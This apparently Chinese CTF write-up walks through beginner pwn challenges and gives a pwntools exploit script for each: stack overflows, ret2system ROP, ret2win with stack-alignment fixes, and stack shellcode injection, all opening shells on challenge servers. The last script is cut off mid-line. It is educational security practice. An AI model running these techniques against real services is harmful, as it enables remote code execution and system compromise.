文章目录
level2
题目地址 : https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1
buf的大小是0x88,但是给了0x100所以会造成溢出
正好有/bin/sh字符,也有system函数,那我们只需要找到他两的地址构造rop就行
/bin/sh => 0x0804A024 systme_addr => 0x08048320
exp
from pwn import *
io = remote("111.200.241.244",59420)
#sh = process('./test')
#elf = ELF('./test')
sys_addr = 0x08048320
bin_addr = 0x0804a024
payload = 'a'*(0x88 + 0x4) +p32(sys_addr) +p32(0) + p32(bin_addr)
io.sendline(payload)
io.interactive()
test_your_nc
题目地址 : https://buuoj.cn/challenges#test_your_nc
直接给shell的签到题
rip
题目地址 : https://buuoj.cn/challenges#rip
f
un函数的地址是0x00401186
从gets溢出到rbp是15个字符,总共要构造的15+8个字符串
exp
from pwn import *
sh = process('./pwn1')
fun_addr = 0x00401186
payload = 'a'*15 #get溢出到rbp到长度
payload += 'r'*8 #64位rbp到长度是8 32位ebp是4
payload += p64(fun_addr)#getshell函数的地址,让rsp指向他
sh.sendline(payload)
sh.interactive()
可以看到在本地是可以getshell的,但是远端服务器却不行
payload 利用retn实现堆栈平衡
payload1 利用retn直接返回fun函数
payload2 利用+1实现堆栈平衡
rom pwn import *
#sh = process('./pwn1')
sh = remote("node4.buuoj.cn",26658)
fun_addr = 0x00401186 #getshell function
bin_sh_addr = 0x0401186
payload = 'a'*15+"a"*8 + p64(0x004011FC) + p64(fun_addr)
payload1 = 'a'*15 + p64(bin_sh_addr)
payload2 = 'a'*15+'a'*8+p64(fun_addr+1)
sh.sendline(payload2)
sh.interactive()
[XMAN]level0
题目地址 : https://www.jarvisoj.com/challenges
64位程序只开了nx
程序还有一个callsystem函数是一个getshell函数
距离rbp有128 到rip到距离是 128+8(32位是4字节 64位是8字节)
1 from pwn import *
2
3
4 #sh = process('./level0')
5 sh = remote('pwn2.jarvisoj.com',9881)
6 getshell = 0x00400596
7 payload = b'a'*136 + p64(getshell+1) #+1是为了堆栈平衡
8 sh.sendline(payload)
9 sh.interactive()
[XMAN]level1
题目地址 : https://www.jarvisoj.com/challenges
本题构造shellcode溢出到rsp的retn返回到buf的地址执行shellcode,因为nx保护未开启,所以栈上的数据也是能够执行命令的
exp
1 from pwn import *
2 #io = process('./level1')
3 io = remote("pwn2.jarvisoj.com", 9877)
4 shellcode = asm(shellcraft.sh())
5 buffer = io.recvline()[14:-2]
6 buf_addr